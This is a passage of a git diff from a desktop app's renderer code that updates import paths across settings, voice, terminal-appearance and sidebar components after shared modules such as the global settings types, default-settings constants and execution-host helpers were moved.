'../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { TerminalThemeSlot } from '../../../../../../shared/terminal-themes/terminal-color-overrides' import { matchesSettingsSearch, diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalContrastSetting.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalContrastSetting.tsx index 57b967c93e6..d145bf9804d 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalContrastSetting.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalContrastSetting.tsx @@ -1,5 +1,5 @@ import { useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { Slider } from '../../../ui/slider' import { NumberField, diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx index 2dcf3de3d23..587f87c0a67 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalCursorAppearanceSection.tsx @@ -8,7 +8,7 @@ import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsGroupSubsection } from '../../section-layout/SettingsGroup' import { clampNumber } from '@/lib/terminal/appearance/terminal-theme' import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' type TerminalCursorAppearanceSectionProps = { settings: GlobalSettings diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalFontSizeSetting.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalFontSizeSetting.tsx index b02fb48c6d3..b8912a8e11b 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalFontSizeSetting.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalFontSizeSetting.tsx @@ -1,5 +1,5 @@ import { Minus, Plus } from 'lucide-react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { Button } from '../../../ui/button' import { Input } from '../../../ui/input' import { SettingsRow } from '../../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx index 68c69dbbb9b..0097b1b6812 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalPaneAppearanceSection.tsx @@ -1,10 +1,10 @@ -import { DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY } from '../../../../../../shared/constants' +import { DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY } from '../../../../../../shared/terminal/appearance/terminal-pane-opacity' import { NumberField } from '../../form-controls/SettingsFormControls' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { SettingsGroupSubsection } from '../../section-layout/SettingsGroup' import { clampNumber, resolvePaneStyleOptions } from '@/lib/terminal/appearance/terminal-theme' import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' type TerminalPaneAppearanceSectionProps = { settings: GlobalSettings diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalRenderingSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalRenderingSection.tsx index b79d3b683d3..25e57dc939b 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalRenderingSection.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalRenderingSection.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SettingsRow, SettingsSegmentedControl, diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx index fc502b70d92..68b5ff8ed08 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalSettingsPreview.tsx @@ -22,7 +22,7 @@ import { normalizeTerminalLineHeight } from '../../../../../../shared/terminal/a import { PREVIEW_BUFFER } from './terminal-preview-content' import { Switch } from '@/components/ui/switch' import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' // Pin 36 columns for the 32-character sample plus margin; large fonts clip instead of wrapping. const PREVIEW_COLS = 36 diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx index 59cf3bda50d..4793ed6d243 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalWindowSection.tsx @@ -15,7 +15,7 @@ import { isWebClientLocation } from '@/app-shell/platform/web-client-location' import { WindowMaterialSetting } from '../../appearance/WindowMaterialSetting' import { useTranslate } from '@/i18n/use-translate' import { COLOR_OVERRIDE_GROUPS } from './terminal-window-color-groups' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' type TerminalWindowSectionProps = { settings: GlobalSettings diff --git a/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts b/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts index 1caae050e19..9bc2fcc273e 100644 --- a/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts +++ b/src/renderer/src/components/settings/terminal/configuration/useTerminalConfigImport.ts @@ -7,7 +7,7 @@ import type { TerminalConfigImportSource } from '../../../../../../shared/terminal/appearance/terminal-config-import-preview' import { getSystemPrefersDark } from '@/lib/terminal/appearance/terminal-theme' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export type UseTerminalConfigImportReturn = { format: TerminalConfigImportFormat diff --git a/src/renderer/src/components/settings/terminal/platform/TerminalMacKeyboardSection.tsx b/src/renderer/src/components/settings/terminal/platform/TerminalMacKeyboardSection.tsx index ccb811fb460..499ea9e7938 100644 --- a/src/renderer/src/components/settings/terminal/platform/TerminalMacKeyboardSection.tsx +++ b/src/renderer/src/components/settings/terminal/platform/TerminalMacKeyboardSection.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useDetectedOptionAsAlt } from '@/lib/keyboard-layout/use-effective-mac-option-as-alt' import { useTranslate } from '@/i18n/use-translate' import { SearchableSetting } from '../../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/terminal/platform/TerminalWindowsShellSection.tsx b/src/renderer/src/components/settings/terminal/platform/TerminalWindowsShellSection.tsx index b367c0443b7..05fcbbf61e4 100644 --- a/src/renderer/src/components/settings/terminal/platform/TerminalWindowsShellSection.tsx +++ b/src/renderer/src/components/settings/terminal/platform/TerminalWindowsShellSection.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { WINDOWS_GIT_BASH_SHELL } from '../../../../../../shared/shell/launch/windows-terminal-shell' import { SettingsRow, SettingsSegmentedControl } from '../../form-controls/SettingsFormControls' import { SearchableSetting } from '../../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/terminal/themes/ClaudeCodeThemeSyncSetting.tsx b/src/renderer/src/components/settings/terminal/themes/ClaudeCodeThemeSyncSetting.tsx index ffccce6edb0..4820f5727c9 100644 --- a/src/renderer/src/components/settings/terminal/themes/ClaudeCodeThemeSyncSetting.tsx +++ b/src/renderer/src/components/settings/terminal/themes/ClaudeCodeThemeSyncSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { getClaudeCodeThemeSyncSearchEntry } from './terminal-theme-search' diff --git a/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx b/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx index 9c0d56fa555..dce5af1d2ed 100644 --- a/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx +++ b/src/renderer/src/components/settings/terminal/themes/TerminalThemeSections.tsx @@ -35,7 +35,7 @@ import { import type { TerminalThemeOption } from '@/lib/terminal/appearance/terminal-theme' import { useTranslate } from '@/i18n/use-translate' import { cn } from '@/lib/class-names' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { UseWarpThemeImportReturn } from './useWarpThemeImport' let lastEditedTerminalThemeTarget: TerminalThemeSlot | null = null diff --git a/src/renderer/src/components/settings/terminal/themes/useWarpThemeImport.ts b/src/renderer/src/components/settings/terminal/themes/useWarpThemeImport.ts index a573624d85e..c7fbf5e5937 100644 --- a/src/renderer/src/components/settings/terminal/themes/useWarpThemeImport.ts +++ b/src/renderer/src/components/settings/terminal/themes/useWarpThemeImport.ts @@ -1,6 +1,6 @@ import { useState } from 'react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { MAX_TERMINAL_CUSTOM_THEMES, normalizeTerminalCustomThemes, diff --git a/src/renderer/src/components/settings/updates/UpdateDelaySetting.fixture.tsx b/src/renderer/src/components/settings/updates/UpdateDelaySetting.fixture.tsx index 24a8322fd6a..9914858585f 100644 --- a/src/renderer/src/components/settings/updates/UpdateDelaySetting.fixture.tsx +++ b/src/renderer/src/components/settings/updates/UpdateDelaySetting.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { UpdateStatus } from '../../../../../shared/updater/update-status-types' import { GeneralUpdateSettingsSection } from './GeneralUpdateSettingsSection' diff --git a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsExperimentalSetting.tsx b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsExperimentalSetting.tsx index d536fec0e5c..633f8610bce 100644 --- a/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsExperimentalSetting.tsx +++ b/src/renderer/src/components/settings/virtual-machines/recipes/EphemeralVmsExperimentalSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { Label } from '../../../ui/label' import { EphemeralVmsPane } from './EphemeralVmsPane' diff --git a/src/renderer/src/components/settings/voice/VoiceCleanupSettings.tsx b/src/renderer/src/components/settings/voice/VoiceCleanupSettings.tsx index 717b416d319..58a71a58f09 100644 --- a/src/renderer/src/components/settings/voice/VoiceCleanupSettings.tsx +++ b/src/renderer/src/components/settings/voice/VoiceCleanupSettings.tsx @@ -1,6 +1,6 @@ import { useId, useMemo, useState } from 'react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { VoiceSettings } from '../../../../../shared/speech/speech-types' import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { normalizeSourceControlAiSettings } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings' diff --git a/src/renderer/src/components/settings/voice/VoiceDictationLanguageSetting.fixture.tsx b/src/renderer/src/components/settings/voice/VoiceDictationLanguageSetting.fixture.tsx index b89450d0c9f..51d3ec4e570 100644 --- a/src/renderer/src/components/settings/voice/VoiceDictationLanguageSetting.fixture.tsx +++ b/src/renderer/src/components/settings/voice/VoiceDictationLanguageSetting.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultVoiceSettings } from '../../../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../../../shared/orca-profiles/constants' import { DICTATION_LANGUAGES, SENSE_VOICE_DICTATION_LANGUAGES diff --git a/src/renderer/src/components/settings/voice/VoicePane.tsx b/src/renderer/src/components/settings/voice/VoicePane.tsx index 7f6cba9b6fc..8c9b85349d4 100644 --- a/src/renderer/src/components/settings/voice/VoicePane.tsx +++ b/src/renderer/src/components/settings/voice/VoicePane.tsx @@ -1,8 +1,8 @@ import { UnsealedCredentialNotice } from '../../provider-accounts/UnsealedCredentialNotice' import type { SecretAtRestProtection } from '../../../../../shared/secure-storage/secret-at-rest-protection' import { useCallback, useEffect, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import { getDefaultVoiceSettings } from '../../../../../shared/constants' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import { getDefaultVoiceSettings } from '../../../../../shared/orca-profiles/constants' import type { SpeechModelManifest, VoiceSettings } from '../../../../../shared/speech/speech-types' import { toast } from 'sonner' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/settings/voice/VoiceSpeechGpuSetting.fixture.tsx b/src/renderer/src/components/settings/voice/VoiceSpeechGpuSetting.fixture.tsx index 0216d159970..d852ea62365 100644 --- a/src/renderer/src/components/settings/voice/VoiceSpeechGpuSetting.fixture.tsx +++ b/src/renderer/src/components/settings/voice/VoiceSpeechGpuSetting.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultVoiceSettings } from '../../../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../../../shared/orca-profiles/constants' import { VoiceSpeechGpuSetting } from './VoiceSpeechGpuSetting' export const auto = defineFixture({ diff --git a/src/renderer/src/components/settings/voice/VoiceSpeechModelSection.fixture.tsx b/src/renderer/src/components/settings/voice/VoiceSpeechModelSection.fixture.tsx index 656e8241ad7..943a17bd7db 100644 --- a/src/renderer/src/components/settings/voice/VoiceSpeechModelSection.fixture.tsx +++ b/src/renderer/src/components/settings/voice/VoiceSpeechModelSection.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultVoiceSettings } from '../../../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../../../shared/orca-profiles/constants' import { NEMOTRON_DICTATION_LANGUAGES, PARAKEET_V3_LANGUAGES diff --git a/src/renderer/src/components/settings/voice/VoiceVocabularySetting.tsx b/src/renderer/src/components/settings/voice/VoiceVocabularySetting.tsx index e79fb506685..1ac5fabe62b 100644 --- a/src/renderer/src/components/settings/voice/VoiceVocabularySetting.tsx +++ b/src/renderer/src/components/settings/voice/VoiceVocabularySetting.tsx @@ -7,7 +7,10 @@ import { MAX_DICTATION_TERM_LENGTH, type DictationTerm } from '../../../../../shared/speech/dictation/dictation-dictionary' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store' import { selectRepoByIdForActiveWorkspace } from '@/store/repos/active-workspace-repository' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.test.tsx b/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.test.tsx index f224797f79b..920f2fcba8b 100644 --- a/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.test.tsx +++ b/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.test.tsx @@ -1,7 +1,7 @@ // @vitest-environment happy-dom import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react' import { afterEach, beforeEach, describe, expect, it } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { getDefaultWorkspaceCleanupRules, type WorkspaceCleanupRules diff --git a/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.tsx b/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.tsx index 8b6dea5a4cc..29219b3f167 100644 --- a/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.tsx +++ b/src/renderer/src/components/settings/workspace-cleanup/WorkspaceCleanupSettingsPane.tsx @@ -4,8 +4,8 @@ import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store' import { useAppStateValue } from '@/store/retained-views/app-state-view' import { getRuntimeTargetHostId } from '@/runtime/rpc/targets/runtime-client-target' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { errorMessage } from '../../../../../shared/errors/error-message' import { WORKSPACE_CLEANUP_RULE_KEYS, diff --git a/src/renderer/src/components/settings/workspace-cleanup/use-workspace-cleanup-host-rules.ts b/src/renderer/src/components/settings/workspace-cleanup/use-workspace-cleanup-host-rules.ts index 02499219687..63988b30499 100644 --- a/src/renderer/src/components/settings/workspace-cleanup/use-workspace-cleanup-host-rules.ts +++ b/src/renderer/src/components/settings/workspace-cleanup/use-workspace-cleanup-host-rules.ts @@ -2,7 +2,7 @@ import { useEffect, useState } from 'react' import { toast } from 'sonner' import { useTranslate } from '@/i18n/use-translate' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { getDefaultWorkspaceCleanupRules, diff --git a/src/renderer/src/components/settings/workspaces/directory/host-scoped-setting-scope.ts b/src/renderer/src/components/settings/workspaces/directory/host-scoped-setting-scope.ts index fab485ea64c..1684941176e 100644 --- a/src/renderer/src/components/settings/workspaces/directory/host-scoped-setting-scope.ts +++ b/src/renderer/src/components/settings/workspaces/directory/host-scoped-setting-scope.ts @@ -1,7 +1,7 @@ import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { SidebarHostOption } from '../../../sidebar/worktree-list/controls/sidebar-host-options' /** Sentinel scope for "edit the shared client default" rather than a host override. */ diff --git a/src/renderer/src/components/settings/wsl/hosts/WslHostsExperimentalSetting.tsx b/src/renderer/src/components/settings/wsl/hosts/WslHostsExperimentalSetting.tsx index e989a2840cf..5498c2c9c5d 100644 --- a/src/renderer/src/components/settings/wsl/hosts/WslHostsExperimentalSetting.tsx +++ b/src/renderer/src/components/settings/wsl/hosts/WslHostsExperimentalSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useTranslate } from '@/i18n/use-translate' import { Label } from '../../../ui/label' import { SearchableSetting } from '../../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/wsl/hosts/WslHostsSection.tsx b/src/renderer/src/components/settings/wsl/hosts/WslHostsSection.tsx index 3146c409cd1..c8d0b7fd586 100644 --- a/src/renderer/src/components/settings/wsl/hosts/WslHostsSection.tsx +++ b/src/renderer/src/components/settings/wsl/hosts/WslHostsSection.tsx @@ -10,7 +10,7 @@ import { isWslHostRuntimeEnvironment, type PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' -import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/setup-guide/setup-guide-progress-readiness.ts b/src/renderer/src/components/setup-guide/setup-guide-progress-readiness.ts index 8f9b728ba43..fd188f73fe4 100644 --- a/src/renderer/src/components/setup-guide/setup-guide-progress-readiness.ts +++ b/src/renderer/src/components/setup-guide/setup-guide-progress-readiness.ts @@ -1,6 +1,6 @@ -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { ComputerUsePermissionStatusResult } from '../../../../shared/computer/computer-use-permissions-types' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' export type SetupScriptProbeState = { diff --git a/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts b/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts index e50c01195be..9b4faf45180 100644 --- a/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts +++ b/src/renderer/src/components/setup-guide/use-setup-guide-progress.ts @@ -1,7 +1,7 @@ import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from 'react' import { useAppStore } from '@/store/index' import { isGitRepoKind } from '../../../../shared/repository/repo-kind' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { checkRuntimeHooks } from '@/runtime/repo-hooks/runtime-hooks-client' import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context' import { hasEffectiveSetupCommand } from '@/runtime/repo-hooks/setup-script-status' diff --git a/src/renderer/src/components/sidebar/HostRemoveDialog.tsx b/src/renderer/src/components/sidebar/HostRemoveDialog.tsx index 5255e23151e..ceb9997a6d8 100644 --- a/src/renderer/src/components/sidebar/HostRemoveDialog.tsx +++ b/src/renderer/src/components/sidebar/HostRemoveDialog.tsx @@ -16,7 +16,10 @@ import { useMountedRef } from '@/hooks/useMountedRef' import { useAppStore } from '@/store/index' import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index' import { useTranslate } from '@/i18n/use-translate' -import { toSshExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toSshExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { RemovalUnsavedFilesNotice } from './workspace-actions/deletion/RemovalUnsavedFilesNotice' import { confirmUnsavedDiscard } from '@/store/slices/worktrees/teardown/removed-workspace-unsaved-files' import { projectRemovalTargets } from './workspace-actions/deletion/removal-unsaved-files' diff --git a/src/renderer/src/components/sidebar/HostRenameDialog.tsx b/src/renderer/src/components/sidebar/HostRenameDialog.tsx index de4fc8d34d9..5c7455a7125 100644 --- a/src/renderer/src/components/sidebar/HostRenameDialog.tsx +++ b/src/renderer/src/components/sidebar/HostRenameDialog.tsx @@ -12,7 +12,7 @@ import { Input } from '@/components/ui/input' import { Label } from '@/components/ui/label' import { useAppStore } from '@/store' import { useTranslate } from '@/i18n/use-translate' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { applyHostRename, getHostDisplayLabelOverride } from './host-rename-remove' type HostRenameDialogProps = { diff --git a/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.tsx b/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.tsx index 47760f311a7..d3e3756f527 100644 --- a/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.tsx +++ b/src/renderer/src/components/sidebar/LocalGitToolchainScanBanner.tsx @@ -6,7 +6,7 @@ import { cn } from '@/lib/class-names' import { translate } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { findLocalToolchainBlock, type LocalToolchainFailureKind } from './repo-scan-failure' import { selectDetectedWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' diff --git a/src/renderer/src/components/sidebar/RemoveFolderDialog.tsx b/src/renderer/src/components/sidebar/RemoveFolderDialog.tsx index 8db72accfcc..d4591b6e4ae 100644 --- a/src/renderer/src/components/sidebar/RemoveFolderDialog.tsx +++ b/src/renderer/src/components/sidebar/RemoveFolderDialog.tsx @@ -15,7 +15,7 @@ import { getRepoExecutionHostId, isRuntimeOwnedSshTargetId, normalizeExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { countOpenRepoTerminalTabs } from '@/store/repos/repo-removal' import { getRecipeVmSshTargetForHost } from '@/runtime/ephemeral-vm/recipe-vm-managed-host' import { RemovalUnsavedFilesNotice } from './workspace-actions/deletion/RemovalUnsavedFilesNotice' diff --git a/src/renderer/src/components/sidebar/SetupScriptPromptCard.tsx b/src/renderer/src/components/sidebar/SetupScriptPromptCard.tsx index fa4369499bf..e452c619fdc 100644 --- a/src/renderer/src/components/sidebar/SetupScriptPromptCard.tsx +++ b/src/renderer/src/components/sidebar/SetupScriptPromptCard.tsx @@ -31,7 +31,7 @@ import { translate } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision' import { getRepoHostIdentity } from '../../../../shared/repository/repo-host-identity' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { useWorktreeById } from '@/store/workspaces/selection/use-selected-worktree' function SetupScriptPromptCard(): React.JSX.Element | null { diff --git a/src/renderer/src/components/sidebar/SidebarNav.tsx b/src/renderer/src/components/sidebar/SidebarNav.tsx index 6a1c15a60b1..b538868e668 100644 --- a/src/renderer/src/components/sidebar/SidebarNav.tsx +++ b/src/renderer/src/components/sidebar/SidebarNav.tsx @@ -14,7 +14,7 @@ import { SidebarTaskNavButton } from './SidebarTaskNavButton' import { HideSidebarMenu } from './sidebar-nav-controls' import { useTranslate } from '@/i18n/use-translate' import { lazyWithRetry } from '@/app-shell/startup/lazy-with-retry' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' export function shouldShowMobileButton( settings: Partial> | null | undefined diff --git a/src/renderer/src/components/sidebar/WorktreeCardsIntroNotice.fixture.tsx b/src/renderer/src/components/sidebar/WorktreeCardsIntroNotice.fixture.tsx index fe538996bc7..4b046c906d1 100644 --- a/src/renderer/src/components/sidebar/WorktreeCardsIntroNotice.fixture.tsx +++ b/src/renderer/src/components/sidebar/WorktreeCardsIntroNotice.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { defineFixture } from '../../component-fixtures/component-fixture' import { WorktreeCardsIntroNotice } from './WorktreeCardsIntroNotice' import SidebarWorkspaceOptionsMenu from './worktree-list/controls/SidebarWorkspaceOptionsMenu' diff --git a/src/renderer/src/components/sidebar/WorktreeCardsUpdateNotice.fixture.tsx b/src/renderer/src/components/sidebar/WorktreeCardsUpdateNotice.fixture.tsx index 6c7d339d732..8d7a464b6c8 100644 --- a/src/renderer/src/components/sidebar/WorktreeCardsUpdateNotice.fixture.tsx +++ b/src/renderer/src/components/sidebar/WorktreeCardsUpdateNotice.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { defineFixture } from '../../component-fixtures/component-fixture' import { WorktreeCardsUpdateNotice } from './WorktreeCardsUpdateNotice' diff --git a/src/renderer/src/components/sidebar/execution-host-label.ts b/src/renderer/src/components/sidebar/execution-host-label.ts index e8c3af1b505..5c27c71bfe6 100644 --- a/src/renderer/src/components/sidebar/execution-host-label.ts +++ b/src/renderer/src/components/sidebar/execution-host-label.ts @@ -4,7 +4,7 @@ import { getExecutionHostLabel, getLocalExecutionHostLabel, type ExecutionHostScope -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/sidebar/hidden-projects/HiddenProjectsSection.tsx b/src/renderer/src/components/sidebar/hidden-projects/HiddenProjectsSection.tsx index 17123e4d7ff..046843f3380 100644 --- a/src/renderer/src/components/sidebar/hidden-projects/HiddenProjectsSection.tsx +++ b/src/renderer/src/components/sidebar/hidden-projects/HiddenProjectsSection.tsx @@ -11,7 +11,7 @@ import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/executi import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isRepoHidden } from '../../../../../shared/project/catalog/hidden-projects' import { getRepoRowIdentity } from '@/store/repos/repo-host-identity' import type { Repo } from '../../../../../shared/repository/repo-types' diff --git a/src/renderer/src/components/sidebar/hidden-projects/set-project-hidden.ts b/src/renderer/src/components/sidebar/hidden-projects/set-project-hidden.ts index ce3a2605d54..4cab1406ebe 100644 --- a/src/renderer/src/components/sidebar/hidden-projects/set-project-hidden.ts +++ b/src/renderer/src/components/sidebar/hidden-projects/set-project-hidden.ts @@ -1,7 +1,7 @@ import { toast } from 'sonner' import { useAppStore } from '@/store' import 